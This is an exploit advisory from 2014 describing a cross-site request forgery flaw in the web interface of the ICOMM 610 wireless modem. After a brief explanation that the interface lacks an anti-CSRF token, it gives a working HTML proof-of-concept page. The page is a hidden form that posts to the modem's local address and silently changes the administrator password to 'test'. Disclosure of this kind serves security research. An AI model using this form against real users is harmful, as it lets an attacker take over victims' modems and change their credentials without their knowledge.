Exploit Title : ICOMM 610 Wireless Modem CSRF Vulnerability
Google dork : N/A
Date : 02/04/2014
Exploit Author : Blessen Thomas
Vendor Homepage : http://www.icommtele.com/
Software Link : N/A
Version : ICOMM 610
Tested on : Device software version 01.01.08.991 (10/01/2010)
Type of Application : Modem Web Application
CVE : N/A
Cross Site Request Forgery
It was observed that this modem's Web Application , suffers from Cross-site
request forgery through which attacker can manipulate user data via sending
him malicious craft url.
At attacker could change the password of the victim's account without the
victim's knowledge as the
application is not having a security token implemented.
The Modem's application is not using any security token to prevent it
against CSRF. You can manipulate any userdata. PoC and Exploit to change
user password: In the POC the IP address in the POST is the modems IP
address.
<html>
<!-- CSRF PoC --->
<body>
<form action="http://192.168.1.1/cgi-bin/sysconf.cgi?page=personalize_password.asp&sid=rjPd8QVqvRGX×tamp=1396366701157" method="POST">
<input type="hidden" name="PasswdEnable" value="on" />
<input type="hidden" name="New_Passwd" value="test" />
<input type="hidden" name="Confirm_New_Passwd" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
